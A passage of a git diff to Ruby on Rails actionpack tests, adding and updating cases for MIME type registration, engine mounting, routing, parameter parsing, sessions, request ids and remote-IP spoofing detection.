+    expect = [Mime::HTML]
+    assert_equal expect, Mime::Type.parse(accept)
+  end
+
+  test "parse arbitarry media type parameters" do
+    accept = 'multipart/form-data; boundary="simple boundary"'
+    expect = [Mime::MULTIPART_FORM]
+    assert_equal expect, Mime::Type.parse(accept)
+  end
+
   # Accept header send with user HTTP_USER_AGENT: Sunrise/0.42j (Windows XP)
   test "parse broken acceptlines" do
     accept = "text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/*,,*/*;q=0.5"
@@ -95,6 +107,51 @@ class MimeTypeTest < ActiveSupport::TestCase
     end
   end
 
+  test "custom type with type aliases" do
+    begin
+      Mime::Type.register "text/foobar", :foobar, ["text/foo", "text/bar"]
+      %w[text/foobar text/foo text/bar].each do |type|
+        assert_equal Mime::FOOBAR, type
+      end
+    ensure
+      Mime::Type.unregister(:FOOBAR)
+    end
+  end
+
+  test "register callbacks" do
+    begin
+      registered_mimes = []
+      Mime::Type.register_callback do |mime|
+        registered_mimes << mime
+      end
+
+      Mime::Type.register("text/foo", :foo)
+      assert_equal registered_mimes, [Mime::FOO]
+    ensure
+      Mime::Type.unregister(:FOO)
+    end
+  end
+
+  test "custom type with extension aliases" do
+    begin
+      Mime::Type.register "text/foobar", :foobar, [], [:foo, "bar"]
+      %w[foobar foo bar].each do |extension|
+        assert_equal Mime::FOOBAR, Mime::EXTENSION_LOOKUP[extension]
+      end
+    ensure
+      Mime::Type.unregister(:FOOBAR)
+    end
+  end
+
+  test "register alias" do
+    begin
+      Mime::Type.register_alias "application/xhtml+xml", :foobar
+      assert_equal Mime::HTML, Mime::EXTENSION_LOOKUP['foobar']
+    ensure
+      Mime::Type.unregister(:FOOBAR)
+    end
+  end
+
   test "type should be equal to symbol" do
     assert_equal Mime::HTML, 'application/xhtml+xml'
     assert_equal Mime::HTML, :html
@@ -105,11 +162,11 @@ class MimeTypeTest < ActiveSupport::TestCase
     types = Mime::SET.symbols.uniq - [:all, :iphone]
 
     # Remove custom Mime::Type instances set in other tests, like Mime::GIF and Mime::IPHONE
-    types.delete_if { |type| !Mime.const_defined?(type.to_s.upcase) }
+    types.delete_if { |type| !Mime.const_defined?(type.upcase) }
 
 
     types.each do |type|
-      mime = Mime.const_get(type.to_s.upcase)
+      mime = Mime.const_get(type.upcase)
       assert mime.respond_to?("#{type}?"), "#{mime.inspect} does not respond to #{type}?"
       assert mime.send("#{type}?"), "#{mime.inspect} is not #{type}?"
       invalid_types = types - [type]
@@ -127,10 +184,10 @@ class MimeTypeTest < ActiveSupport::TestCase
     all_types = Mime::SET.symbols
     all_types.uniq!
     # Remove custom Mime::Type instances set in other tests, like Mime::GIF and Mime::IPHONE
-    all_types.delete_if { |type| !Mime.const_defined?(type.to_s.upcase) }
+    all_types.delete_if { |type| !Mime.const_defined?(type.upcase) }
     verified, unverified = all_types.partition { |type| Mime::Type.browser_generated_types.include? type }
-    assert verified.each   { |type| assert  Mime.const_get(type.to_s.upcase).verify_request?, "Verifiable Mime Type is not verified: #{type.inspect}" }
-    assert unverified.each { |type| assert !Mime.const_get(type.to_s.upcase).verify_request?, "Nonverifiable Mime Type is verified: #{type.inspect}" }
+    assert verified.each   { |type| assert  Mime.const_get(type.upcase).verify_request?, "Verifiable Mime Type is not verified: #{type.inspect}" }
+    assert unverified.each { |type| assert !Mime.const_get(type.upcase).verify_request?, "Nonverifiable Mime Type is verified: #{type.inspect}" }
   end
 
   test "references gives preference to symbols before strings" do
diff --git a/actionpack/test/dispatch/mount_test.rb b/actionpack/test/dispatch/mount_test.rb
index 1a032539b9..3b008fdff0 100644
--- a/actionpack/test/dispatch/mount_test.rb
+++ b/actionpack/test/dispatch/mount_test.rb
@@ -22,6 +22,7 @@ class TestRoutingMount < ActionDispatch::IntegrationTest
     mount SprocketsApp => "/shorthand"
 
     mount FakeEngine, :at => "/fakeengine"
+    mount FakeEngine, :at => "/getfake", :via => :get
 
     scope "/its_a" do
       mount SprocketsApp, :at => "/sprocket"
@@ -37,6 +38,11 @@ class TestRoutingMount < ActionDispatch::IntegrationTest
     assert_equal "/sprockets -- /omg", response.body
   end
 
+  def test_mounting_works_with_nested_script_name
+    get "/foo/sprockets/omg", {}, 'SCRIPT_NAME' => '/foo', 'PATH_INFO' => '/sprockets/omg'
+    assert_equal "/foo/sprockets -- /omg", response.body
+  end
+
   def test_mounting_works_with_scope
     get "/its_a/sprocket/omg"
     assert_equal "/its_a/sprocket -- /omg", response.body
@@ -47,8 +53,16 @@ class TestRoutingMount < ActionDispatch::IntegrationTest
     assert_equal "/shorthand -- /omg", response.body
   end
 
+  def test_mounting_works_with_via
+    get "/getfake"
+    assert_equal "OK", response.body
+
+    post "/getfake"
+    assert_response :not_found
+  end
+
   def test_with_fake_engine_does_not_call_invalid_method
     get "/fakeengine"
     assert_equal "OK", response.body
   end
-end
\ No newline at end of file
+end
diff --git a/actionpack/test/dispatch/prefix_generation_test.rb b/actionpack/test/dispatch/prefix_generation_test.rb
index 93eccaecbd..6d75c5ec7a 100644
--- a/actionpack/test/dispatch/prefix_generation_test.rb
+++ b/actionpack/test/dispatch/prefix_generation_test.rb
@@ -25,11 +25,12 @@ module TestGenerationPrefix
         @routes ||= begin
           routes = ActionDispatch::Routing::RouteSet.new
           routes.draw do
-            match "/posts/:id", :to => "inside_engine_generating#show", :as => :post
-            match "/posts", :to => "inside_engine_generating#index", :as => :posts
-            match "/url_to_application", :to => "inside_engine_generating#url_to_application"
-            match "/polymorphic_path_for_engine", :to => "inside_engine_generating#polymorphic_path_for_engine"
-            match "/conflicting_url", :to => "inside_engine_generating#conflicting"
+            get "/posts/:id", :to => "inside_engine_generating#show", :as => :post
+            get "/posts", :to => "inside_engine_generating#index", :as => :posts
+            get "/url_to_application", :to => "inside_engine_generating#url_to_application"
+            get "/polymorphic_path_for_engine", :to => "inside_engine_generating#polymorphic_path_for_engine"
+            get "/conflicting_url", :to => "inside_engine_generating#conflicting"
+            get "/foo", :to => "never#invoked", :as => :named_helper_that_should_be_invoked_only_in_respond_to_test
           end
 
           routes
@@ -50,12 +51,12 @@ module TestGenerationPrefix
             scope "/:omg", :omg => "awesome" do
               mount BlogEngine => "/blog", :as => "blog_engine"
             end
-            match "/posts/:id", :to => "outside_engine_generating#post", :as => :post
-            match "/generate", :to => "outside_engine_generating#index"
-            match "/polymorphic_path_for_app", :to => "outside_engine_generating#polymorphic_path_for_app"
-            match "/polymorphic_path_for_engine", :to => "outside_engine_generating#polymorphic_path_for_engine"
-            match "/polymorphic_with_url_for", :to => "outside_engine_generating#polymorphic_with_url_for"
-            match "/conflicting_url", :to => "outside_engine_generating#conflicting"
+            get "/posts/:id", :to => "outside_engine_generating#post", :as => :post
+            get "/generate", :to => "outside_engine_generating#index"
+            get "/polymorphic_path_for_app", :to => "outside_engine_generating#polymorphic_path_for_app"
+            get "/polymorphic_path_for_engine", :to => "outside_engine_generating#polymorphic_path_for_engine"
+            get "/polymorphic_with_url_for", :to => "outside_engine_generating#polymorphic_with_url_for"
+            get "/conflicting_url", :to => "outside_engine_generating#conflicting"
             root :to => "outside_engine_generating#index"
           end
 
@@ -152,6 +153,8 @@ module TestGenerationPrefix
       RailsApplication.routes.default_url_options = {}
     end
 
+    include BlogEngine.routes.mounted_helpers
+
     # Inside Engine
     test "[ENGINE] generating engine's url use SCRIPT_NAME from request" do
       get "/pure-awesomeness/blog/posts/1"
@@ -163,18 +166,6 @@ module TestGenerationPrefix
       assert_equal "/generate", last_response.body
     end
 
-    test "[ENGINE] generating application's url includes default_url_options[:script_name]" do
-      RailsApplication.routes.default_url_options = {:script_name => "/something"}
-      get "/pure-awesomeness/blog/url_to_application"
-      assert_equal "/something/generate", last_response.body
-    end
-
-    test "[ENGINE] generating application's url should give higher priority to default_url_options[:script_name]" do
-      RailsApplication.routes.default_url_options = {:script_name => "/something"}
-      get "/pure-awesomeness/blog/url_to_application", {}, 'SCRIPT_NAME' => '/foo'
-      assert_equal "/something/generate", last_response.body
-    end
-
     test "[ENGINE] generating engine's url with polymorphic path" do
       get "/pure-awesomeness/blog/polymorphic_path_for_engine"
       assert_equal "/pure-awesomeness/blog/posts/1", last_response.body
@@ -197,12 +188,6 @@ module TestGenerationPrefix
       assert_equal "/something/awesome/blog/posts/1", last_response.body
     end
 
-    test "[APP] generating engine's route should give higher priority to default_url_options[:script_name]" do
-      RailsApplication.routes.default_url_options = {:script_name => "/something"}
-      get "/generate", {}, 'SCRIPT_NAME' => "/foo"
-      assert_equal "/something/awesome/blog/posts/1", last_response.body
-    end
-
     test "[APP] generating engine's url with polymorphic path" do
       get "/polymorphic_path_for_engine"
       assert_equal "/awesome/blog/posts/1", last_response.body
@@ -219,6 +204,10 @@ module TestGenerationPrefix
     end
 
     # Inside any Object
+    test "[OBJECT] proxy route should override respond_to?() as expected" do
+      assert_respond_to blog_engine, :named_helper_that_should_be_invoked_only_in_respond_to_test_path
+    end
+
     test "[OBJECT] generating engine's route includes prefix" do
       assert_equal "/awesome/blog/posts/1", engine_object.post_path(:id => 1)
     end
@@ -275,7 +264,7 @@ module TestGenerationPrefix
         @routes ||= begin
           routes = ActionDispatch::Routing::RouteSet.new
           routes.draw do
-            match "/posts/:id", :to => "posts#show", :as => :post
+            get "/posts/:id", :to => "posts#show", :as => :post
           end
 
           routes
diff --git a/actionpack/test/dispatch/reloader_test.rb b/actionpack/test/dispatch/reloader_test.rb
index eaabc1feb3..ce9ccfcee8 100644
--- a/actionpack/test/dispatch/reloader_test.rb
+++ b/actionpack/test/dispatch/reloader_test.rb
@@ -1,6 +1,6 @@
 require 'abstract_unit'
 
-class ReloaderTest < Test::Unit::TestCase
+class ReloaderTest < ActiveSupport::TestCase
   Reloader = ActionDispatch::Reloader
 
   def test_prepare_callbacks
@@ -43,6 +43,29 @@ class ReloaderTest < Test::Unit::TestCase
     assert_respond_to body, :close
   end
 
+  def test_returned_body_object_always_responds_to_close_even_if_called_twice
+    body = call_and_return_body
+    assert_respond_to body, :close
+    body.close
+
+    body = call_and_return_body
+    assert_respond_to body, :close
+    body.close
+  end
+
+  def test_condition_specifies_when_to_reload
+    i, j = 0, 0, 0, 0
+    Reloader.to_prepare { |*args| i += 1 }
+    Reloader.to_cleanup { |*args| j += 1 }
+    app = Reloader.new(lambda { |env| [200, {}, []] }, lambda { i < 3 })
+    5.times do
+      resp = app.call({})
+      resp[2].close
+    end
+    assert_equal 3, i
+    assert_equal 3, j
+  end
+
   def test_returned_body_object_behaves_like_underlying_object
     body = call_and_return_body do
       b = MyBody.new
@@ -116,6 +139,15 @@ class ReloaderTest < Test::Unit::TestCase
     assert cleaned
   end
 
+  def test_prepend_prepare_callback
+    i = 10
+    Reloader.to_prepare { i += 1 }
+    Reloader.to_prepare(:prepend => true) { i = 0 }
+
+    Reloader.prepare!
+    assert_equal 1, i
+  end
+
   def test_cleanup_callbacks_are_called_on_exceptions
     cleaned = false
     Reloader.to_cleanup { cleaned  = true }
@@ -132,7 +164,8 @@ class ReloaderTest < Test::Unit::TestCase
 
   private
     def call_and_return_body(&block)
-      @reloader ||= Reloader.new(block || proc {[200, {}, 'response']})
+      @response ||= 'response'
+      @reloader ||= Reloader.new(block || proc {[200, {}, @response]})
       @reloader.call({'rack.input' => StringIO.new('')})[2]
     end
 end
diff --git a/actionpack/test/dispatch/request/json_params_parsing_test.rb b/actionpack/test/dispatch/request/json_params_parsing_test.rb
index d854d55173..302bff0696 100644
--- a/actionpack/test/dispatch/request/json_params_parsing_test.rb
+++ b/actionpack/test/dispatch/request/json_params_parsing_test.rb
@@ -32,13 +32,21 @@ class JsonParamsParsingTest < ActionDispatch::IntegrationTest
 
   test "logs error if parsing unsuccessful" do
     with_test_routing do
+      output = StringIO.new
+      json = "[\"person]\": {\"name\": \"David\"}}"
+      post "/parse", json, {'CONTENT_TYPE' => 'application/json', 'action_dispatch.show_exceptions' => true, 'action_dispatch.logger' => ActiveSupport::Logger.new(output)}
+      assert_response :error
+      output.rewind && err = output.read
+      assert err =~ /Error occurred while parsing request parameters/
+    end
+  end
+
+  test "occurring a parse error if parsing unsuccessful" do
+    with_test_routing do
       begin
-        $stderr = StringIO.new
+        $stderr = StringIO.new # suppress the log
         json = "[\"person]\": {\"name\": \"David\"}}"
-        post "/parse", json, {'CONTENT_TYPE' => 'application/json', 'action_dispatch.show_exceptions' => true}
-        assert_response :error
-        $stderr.rewind && err = $stderr.read
-        assert err =~ /Error occurred while parsing request parameters/
+        assert_raise(MultiJson::DecodeError) { post "/parse", json, {'CONTENT_TYPE' => 'application/json', 'action_dispatch.show_exceptions' => false} }
       ensure
         $stderr = STDERR
       end
@@ -57,7 +65,7 @@ class JsonParamsParsingTest < ActionDispatch::IntegrationTest
     def with_test_routing
       with_routing do |set|
         set.draw do
-          match ':action', :to => ::JsonParamsParsingTest::TestController
+          post ':action', :to => ::JsonParamsParsingTest::TestController
         end
         yield
       end
@@ -110,7 +118,7 @@ class RootLessJSONParamsParsingTest < ActionDispatch::IntegrationTest
     def with_test_routing(controller)
       with_routing do |set|
         set.draw do
-          match ':action', :to => controller
+          post ':action', :to => controller
         end
         yield
       end
diff --git a/actionpack/test/dispatch/request/multipart_params_parsing_test.rb b/actionpack/test/dispatch/request/multipart_params_parsing_test.rb
index 560ea00923..63c5ea26a6 100644
--- a/actionpack/test/dispatch/request/multipart_params_parsing_test.rb
+++ b/actionpack/test/dispatch/request/multipart_params_parsing_test.rb
@@ -89,7 +89,7 @@ class MultipartParamsParsingTest < ActionDispatch::IntegrationTest
 
     # Rack doesn't handle multipart/mixed for us.
     files = params['files']
-    files.force_encoding('ASCII-8BIT') if files.respond_to?(:force_encoding)
+    files.force_encoding('ASCII-8BIT')
     assert_equal 19756, files.size
   end
 
@@ -144,7 +144,7 @@ class MultipartParamsParsingTest < ActionDispatch::IntegrationTest
     def with_test_routing
       with_routing do |set|
         set.draw do
-          match ':action', :to => 'multipart_params_parsing_test/test'
+          post ':action', :to => 'multipart_params_parsing_test/test'
         end
         yield
       end
diff --git a/actionpack/test/dispatch/request/query_string_parsing_test.rb b/actionpack/test/dispatch/request/query_string_parsing_test.rb
index f6a1475d04..3cb430d83d 100644
--- a/actionpack/test/dispatch/request/query_string_parsing_test.rb
+++ b/actionpack/test/dispatch/request/query_string_parsing_test.rb
@@ -81,7 +81,16 @@ class QueryStringParsingTest < ActionDispatch::IntegrationTest
   end
 
   test "query string without equal" do
-    assert_parses({ "action" => nil }, "action")
+    assert_parses({"action" => nil}, "action")
+    assert_parses({"action" => {"foo" => nil}}, "action[foo]")
+    assert_parses({"action" => {"foo" => { "bar" => nil }}}, "action[foo][bar]")
+    assert_parses({"action" => {"foo" => { "bar" => [] }}}, "action[foo][bar][]")
+    assert_parses({"action" => {"foo" => []}}, "action[foo][]")
+    assert_parses({"action"=>{"foo"=>[{"bar"=>nil}]}}, "action[foo][][bar]")
+  end
+
+  def test_array_parses_without_nil
+    assert_parses({"action" => ['1']}, "action[]=1&action[]")
   end
 
   test "query string with empty key" do
@@ -105,11 +114,22 @@ class QueryStringParsingTest < ActionDispatch::IntegrationTest
     )
   end
 
+  test "ambiguous query string returns a bad request" do
+    with_routing do |set|
+      set.draw do
+        get ':action', :to => ::QueryStringParsingTest::TestController
+      end
+
+      get "/parse", nil, "QUERY_STRING" => "foo[]=bar&foo[4]=bar"
+      assert_response :bad_request
+    end
+  end
+
   private
     def assert_parses(expected, actual)
       with_routing do |set|
         set.draw do
-          match ':action', :to => ::QueryStringParsingTest::TestController
+          get ':action', :to => ::QueryStringParsingTest::TestController
         end
 
         get "/parse", actual
diff --git a/actionpack/test/dispatch/request/session_test.rb b/actionpack/test/dispatch/request/session_test.rb
new file mode 100644
index 0000000000..80d5a13171
--- /dev/null
+++ b/actionpack/test/dispatch/request/session_test.rb
@@ -0,0 +1,64 @@
+require 'abstract_unit'
+require 'action_dispatch/middleware/session/abstract_store'
+
+module ActionDispatch
+  class Request
+    class SessionTest < ActiveSupport::TestCase
+      def test_create_adds_itself_to_env
+        env = {}
+        s = Session.create(store, env, {})
+        assert_equal s, env[Rack::Session::Abstract::ENV_SESSION_KEY]
+      end
+
+      def test_to_hash
+        env = {}
+        s = Session.create(store, env, {})
+        s['foo'] = 'bar'
+        assert_equal 'bar', s['foo']
+        assert_equal({'foo' => 'bar'}, s.to_hash)
+      end
+
+      def test_create_merges_old
+        env = {}
+        s = Session.create(store, env, {})
+        s['foo'] = 'bar'
+
+        s1 = Session.create(store, env, {})
+        refute_equal s, s1
+        assert_equal 'bar', s1['foo']
+      end
+
+      def test_find
+        env = {}
+        assert_nil Session.find(env)
+
+        s = Session.create(store, env, {})
+        assert_equal s, Session.find(env)
+      end
+
+      def test_keys
+        env = {}
+        s = Session.create(store, env, {})
+        s['rails'] = 'ftw'
+        s['adequate'] = 'awesome'
+        assert_equal %w[rails adequate], s.keys
+      end
+
+      def test_values
+        env = {}
+        s = Session.create(store, env, {})
+        s['rails'] = 'ftw'
+        s['adequate'] = 'awesome'
+        assert_equal %w[ftw awesome], s.values
+      end
+
+      private
+      def store
+        Class.new {
+          def load_session(env); [1, {}]; end
+          def session_exists?(env); true; end
+        }.new
+      end
+    end
+  end
+end
diff --git a/actionpack/test/dispatch/request/url_encoded_params_parsing_test.rb b/actionpack/test/dispatch/request/url_encoded_params_parsing_test.rb
index 04a0fb6f34..e9b59f55a7 100644
--- a/actionpack/test/dispatch/request/url_encoded_params_parsing_test.rb
+++ b/actionpack/test/dispatch/request/url_encoded_params_parsing_test.rb
@@ -126,11 +126,22 @@ class UrlEncodedParamsParsingTest < ActionDispatch::IntegrationTest
     assert_parses expected, query
   end
 
+  test "ambiguous params returns a bad request" do
+    with_routing do |set|
+      set.draw do
+        post ':action', :to => ::UrlEncodedParamsParsingTest::TestController
+      end
+
+      post "/parse", "foo[]=bar&foo[4]=bar"
+      assert_response :bad_request
+    end
+  end
+
   private
     def with_test_routing
       with_routing do |set|
         set.draw do
-          match ':action', :to => ::UrlEncodedParamsParsingTest::TestController
+          post ':action', :to => ::UrlEncodedParamsParsingTest::TestController
         end
         yield
       end
@@ -146,8 +157,6 @@ class UrlEncodedParamsParsingTest < ActionDispatch::IntegrationTest
     end
 
     def assert_utf8(object)
-      return unless "ruby".encoding_aware?
-
       correct_encoding = Encoding.default_internal
 
       unless object.is_a?(Hash)
diff --git a/actionpack/test/dispatch/request/xml_params_parsing_test.rb b/actionpack/test/dispatch/request/xml_params_parsing_test.rb
index 38453dfe48..84823e2896 100644
--- a/actionpack/test/dispatch/request/xml_params_parsing_test.rb
+++ b/actionpack/test/dispatch/request/xml_params_parsing_test.rb
@@ -41,7 +41,7 @@ class XmlParamsParsingTest < ActionDispatch::IntegrationTest
 
   test "parses single file" do
     with_test_routing do
-      xml = "<person><name>David</name><avatar type='file' name='me.jpg' content_type='image/jpg'>#{ActiveSupport::Base64.encode64('ABC')}</avatar></person>"
+      xml = "<person><name>David</name><avatar type='file' name='me.jpg' content_type='image/jpg'>#{::Base64.encode64('ABC')}</avatar></person>"
       post "/parse", xml, default_headers
       assert_response :ok
 
@@ -54,13 +54,21 @@ class XmlParamsParsingTest < ActionDispatch::IntegrationTest
 
   test "logs error if parsing unsuccessful" do
     with_test_routing do
+      output = StringIO.new
+      xml = "<person><name>David</name><avatar type='file' name='me.jpg' content_type='image/jpg'>#{::Base64.encode64('ABC')}</avatar></pineapple>"
+      post "/parse", xml, default_headers.merge('action_dispatch.show_exceptions' => true, 'action_dispatch.logger' => ActiveSupport::Logger.new(output))
+      assert_response :error
+      output.rewind && err = output.read
+      assert err =~ /Error occurred while parsing request parameters/
+    end
+  end
+
+  test "occurring a parse error if parsing unsuccessful" do
+    with_test_routing do
       begin
-        $stderr = StringIO.new
-        xml = "<person><name>David</name><avatar type='file' name='me.jpg' content_type='image/jpg'>#{ActiveSupport::Base64.encode64('ABC')}</avatar></pineapple>"
-        post "/parse", xml, default_headers.merge('action_dispatch.show_exceptions' => true)
-        assert_response :error
-        $stderr.rewind && err = $stderr.read
-        assert err =~ /Error occurred while parsing request parameters/
+        $stderr = StringIO.new # suppress the log
+        xml = "<person><name>David</name></pineapple>"
+        assert_raise(REXML::ParseException) { post "/parse", xml, default_headers.merge('action_dispatch.show_exceptions' => false) }
       ensure
         $stderr = STDERR
       end
@@ -72,8 +80,8 @@ class XmlParamsParsingTest < ActionDispatch::IntegrationTest
       <person>
         <name>David</name>
         <avatars>
-          <avatar type='file' name='me.jpg' content_type='image/jpg'>#{ActiveSupport::Base64.encode64('ABC')}</avatar>
-          <avatar type='file' name='you.gif' content_type='image/gif'>#{ActiveSupport::Base64.encode64('DEF')}</avatar>
+          <avatar type='file' name='me.jpg' content_type='image/jpg'>#{::Base64.encode64('ABC')}</avatar>
+          <avatar type='file' name='you.gif' content_type='image/gif'>#{::Base64.encode64('DEF')}</avatar>
         </avatars>
       </person>
     end_body
@@ -98,7 +106,7 @@ class XmlParamsParsingTest < ActionDispatch::IntegrationTest
     def with_test_routing
       with_routing do |set|
         set.draw do
-          match ':action', :to => ::XmlParamsParsingTest::TestController
+          post ':action', :to => ::XmlParamsParsingTest::TestController
         end
         yield
       end
@@ -147,7 +155,7 @@ class RootLessXmlParamsParsingTest < ActionDispatch::IntegrationTest
     def with_test_routing
       with_routing do |set|
         set.draw do
-          match ':action', :to => ::RootLessXmlParamsParsingTest::TestController
+          post ':action', :to => ::RootLessXmlParamsParsingTest::TestController
         end
         yield
       end
diff --git a/actionpack/test/dispatch/request_id_test.rb b/actionpack/test/dispatch/request_id_test.rb
index b6e8b6c3ad..a8050b4fab 100644
--- a/actionpack/test/dispatch/request_id_test.rb
+++ b/actionpack/test/dispatch/request_id_test.rb
@@ -14,7 +14,7 @@ class RequestIdTest < ActiveSupport::TestCase
   end
 
   test "generating a request id when none is supplied" do
-    assert_match(/\w+/, stub_request.uuid)
+    assert_match(/\w+-\w+-\w+-\w+-\w+/, stub_request.uuid)
   end
 
   private
@@ -52,7 +52,7 @@ class RequestIdResponseTest < ActionDispatch::IntegrationTest
   def with_test_route_set
     with_routing do |set|
       set.draw do
-        match '/', :to => ::RequestIdResponseTest::TestController.action(:index)
+        get '/', :to => ::RequestIdResponseTest::TestController.action(:index)
       end
 
       @app = self.class.build_app(set) do |middleware|
@@ -62,4 +62,4 @@ class RequestIdResponseTest < ActionDispatch::IntegrationTest
       yield
     end
   end
-end
\ No newline at end of file
+end
diff --git a/actionpack/test/dispatch/request_test.rb b/actionpack/test/dispatch/request_test.rb
index a611252b31..a434e49dbd 100644
--- a/actionpack/test/dispatch/request_test.rb
+++ b/actionpack/test/dispatch/request_test.rb
@@ -35,37 +35,40 @@ class RequestTest < ActiveSupport::TestCase
     assert_equal '1.2.3.4', request.remote_ip
 
     request = stub_request 'REMOTE_ADDR' => '1.2.3.4',
-      'HTTP_X_FORWARDED_FOR' => '3.4.5.6'
-    assert_equal '1.2.3.4', request.remote_ip
+                           'HTTP_X_FORWARDED_FOR' => '3.4.5.6'
+    assert_equal '3.4.5.6', request.remote_ip
 
     request = stub_request 'REMOTE_ADDR' => '127.0.0.1',
-      'HTTP_X_FORWARDED_FOR' => '3.4.5.6'
+                           'HTTP_X_FORWARDED_FOR' => '3.4.5.6'
     assert_equal '3.4.5.6', request.remote_ip
 
-    request = stub_request 'HTTP_X_FORWARDED_FOR' => 'unknown,3.4.5.6'
+    request = stub_request 'HTTP_X_FORWARDED_FOR' => '3.4.5.6,unknown'
     assert_equal '3.4.5.6', request.remote_ip
 
     request = stub_request 'HTTP_X_FORWARDED_FOR' => '172.16.0.1,3.4.5.6'
-    assert_equal '3.4.5.6', request.remote_ip
+    assert_equal nil, request.remote_ip
 
     request = stub_request 'HTTP_X_FORWARDED_FOR' => '192.168.0.1,3.4.5.6'
-    assert_equal '3.4.5.6', request.remote_ip
+    assert_equal nil, request.remote_ip
 
     request = stub_request 'HTTP_X_FORWARDED_FOR' => '10.0.0.1,3.4.5.6'
-    assert_equal '3.4.5.6', request.remote_ip
+    assert_equal nil, request.remote_ip
 
     request = stub_request 'HTTP_X_FORWARDED_FOR' => '10.0.0.1, 10.0.0.1, 3.4.5.6'
-    assert_equal '3.4.5.6', request.remote_ip
+    assert_equal nil, request.remote_ip
 
     request = stub_request 'HTTP_X_FORWARDED_FOR' => '127.0.0.1,3.4.5.6'
-    assert_equal '3.4.5.6', request.remote_ip
+    assert_equal nil, request.remote_ip
 
     request = stub_request 'HTTP_X_FORWARDED_FOR' => 'unknown,192.168.0.1'
-    assert_equal 'unknown', request.remote_ip
+    assert_equal nil, request.remote_ip
 
-    request = stub_request 'HTTP_X_FORWARDED_FOR' => '9.9.9.9, 3.4.5.6, 10.0.0.1, 172.31.4.4'
+    request = stub_request 'HTTP_X_FORWARDED_FOR' => '3.4.5.6, 9.9.9.9, 10.0.0.1, 172.31.4.4'
     assert_equal '3.4.5.6', request.remote_ip
 
+    request = stub_request 'HTTP_X_FORWARDED_FOR' => 'not_ip_address'
+    assert_equal nil, request.remote_ip
+
     request = stub_request 'HTTP_X_FORWARDED_FOR' => '1.1.1.1',
                            'HTTP_CLIENT_IP'       => '2.2.2.2'
     e = assert_raise(ActionDispatch::RemoteIp::IpSpoofAttackError) {
@@ -85,34 +88,141 @@ class RequestTest < ActiveSupport::TestCase
                            :ip_spoofing_check => false
     assert_equal '2.2.2.2', request.remote_ip
 
-    request = stub_request 'HTTP_X_FORWARDED_FOR' => '8.8.8.8, 9.9.9.9'
+    request = stub_request 'HTTP_X_FORWARDED_FOR' => '9.9.9.9, 8.8.8.8'
     assert_equal '9.9.9.9', request.remote_ip
   end
 
-  test "remote ip with user specified trusted proxies" do
-    @trusted_proxies = /^67\.205\.106\.73$/i
+  test "remote ip v6" do
+    request = stub_request 'REMOTE_ADDR' => '2001:0db8:85a3:0000:0000:8a2e:0370:7334'
+    assert_equal '2001:0db8:85a3:0000:0000:8a2e:0370:7334', request.remote_ip
 
-    request = stub_request 'REMOTE_ADDR' => '67.205.106.73',
-                           'HTTP_X_FORWARDED_FOR' => '3.4.5.6'
+    request = stub_request 'REMOTE_ADDR' => '2001:0db8:85a3:0000:0000:8a2e:0370:7334,fe80:0000:0000:0000:0202:b3ff:fe1e:8329'
+    assert_equal '2001:0db8:85a3:0000:0000:8a2e:0370:7334', request.remote_ip
+
+    request = stub_request 'REMOTE_ADDR' => '2001:0db8:85a3:0000:0000:8a2e:0370:7334',
+                           'HTTP_X_FORWARDED_FOR' => 'fe80:0000:0000:0000:0202:b3ff:fe1e:8329'
+    assert_equal 'fe80:0000:0000:0000:0202:b3ff:fe1e:8329', request.remote_ip
+
+    request = stub_request 'REMOTE_ADDR' => '::1',
+                           'HTTP_X_FORWARDED_FOR' => 'fe80:0000:0000:0000:0202:b3ff:fe1e:8329'
+    assert_equal 'fe80:0000:0000:0000:0202:b3ff:fe1e:8329', request.remote_ip
+
+    request = stub_request 'HTTP_X_FORWARDED_FOR' => 'unknown,fe80:0000:0000:0000:0202:b3ff:fe1e:8329'
+    assert_equal nil, request.remote_ip
+
+    request = stub_request 'HTTP_X_FORWARDED_FOR' => '::1,fe80:0000:0000:0000:0202:b3ff:fe1e:8329'
+    assert_equal nil, request.remote_ip
+
+    request = stub_request 'HTTP_X_FORWARDED_FOR' => '::1,fe80:0000:0000:0000:0202:b3ff:fe1e:8329'
+    assert_equal nil, request.remote_ip
+
+    request = stub_request 'HTTP_X_FORWARDED_FOR' => '::1,fe80:0000:0000:0000:0202:b3ff:fe1e:8329'
+    assert_equal nil, request.remote_ip
+
+    request = stub_request 'HTTP_X_FORWARDED_FOR' => '::1, ::1, fe80:0000:0000:0000:0202:b3ff:fe1e:8329'
+    assert_equal nil, request.remote_ip
+
+    request = stub_request 'HTTP_X_FORWARDED_FOR' => 'unknown,::1'
+    assert_equal nil, request.remote_ip
+
+    request = stub_request 'HTTP_X_FORWARDED_FOR' => '2001:0db8:85a3:0000:0000:8a2e:0370:7334, fe80:0000:0000:0000:0202:b3ff:fe1e:8329, ::1, fc00::'
+    assert_equal '2001:0db8:85a3:0000:0000:8a2e:0370:7334', request.remote_ip
+
+    request = stub_request 'HTTP_X_FORWARDED_FOR' => 'not_ip_address'
+    assert_equal nil, request.remote_ip
+
+    request = stub_request 'HTTP_X_FORWARDED_FOR' => 'fe80:0000:0000:0000:0202:b3ff:fe1e:8329',
+                           'HTTP_CLIENT_IP'       => '2001:0db8:85a3:0000:0000:8a2e:0370:7334'
+    e = assert_raise(ActionDispatch::RemoteIp::IpSpoofAttackError) {
+      request.remote_ip
+    }
+    assert_match(/IP spoofing attack/, e.message)
+    assert_match(/HTTP_X_FORWARDED_FOR="fe80:0000:0000:0000:0202:b3ff:fe1e:8329"/, e.message)
+    assert_match(/HTTP_CLIENT_IP="2001:0db8:85a3:0000:0000:8a2e:0370:7334"/, e.message)
+
+    # Turn IP Spoofing detection off.
+    # This is useful for sites that are aimed at non-IP clients.  The typical
+    # example is WAP.  Since the cellular network is not IP based, it's a
+    # leap of faith to assume that their proxies are ever going to set the
+    # HTTP_CLIENT_IP/HTTP_X_FORWARDED_FOR headers properly.
+    request = stub_request 'HTTP_X_FORWARDED_FOR' => 'fe80:0000:0000:0000:0202:b3ff:fe1e:8329',
+                           'HTTP_CLIENT_IP'       => '2001:0db8:85a3:0000:0000:8a2e:0370:7334',
+                           :ip_spoofing_check     => false
+    assert_equal '2001:0db8:85a3:0000:0000:8a2e:0370:7334', request.remote_ip
+
+    request = stub_request 'HTTP_X_FORWARDED_FOR' => 'fe80:0000:0000:0000:0202:b3ff:fe1e:8329, 2001:0db8:85a3:0000:0000:8a2e:0370:7334'
+    assert_equal 'fe80:0000:0000:0000:0202:b3ff:fe1e:8329', request.remote_ip
+  end
+
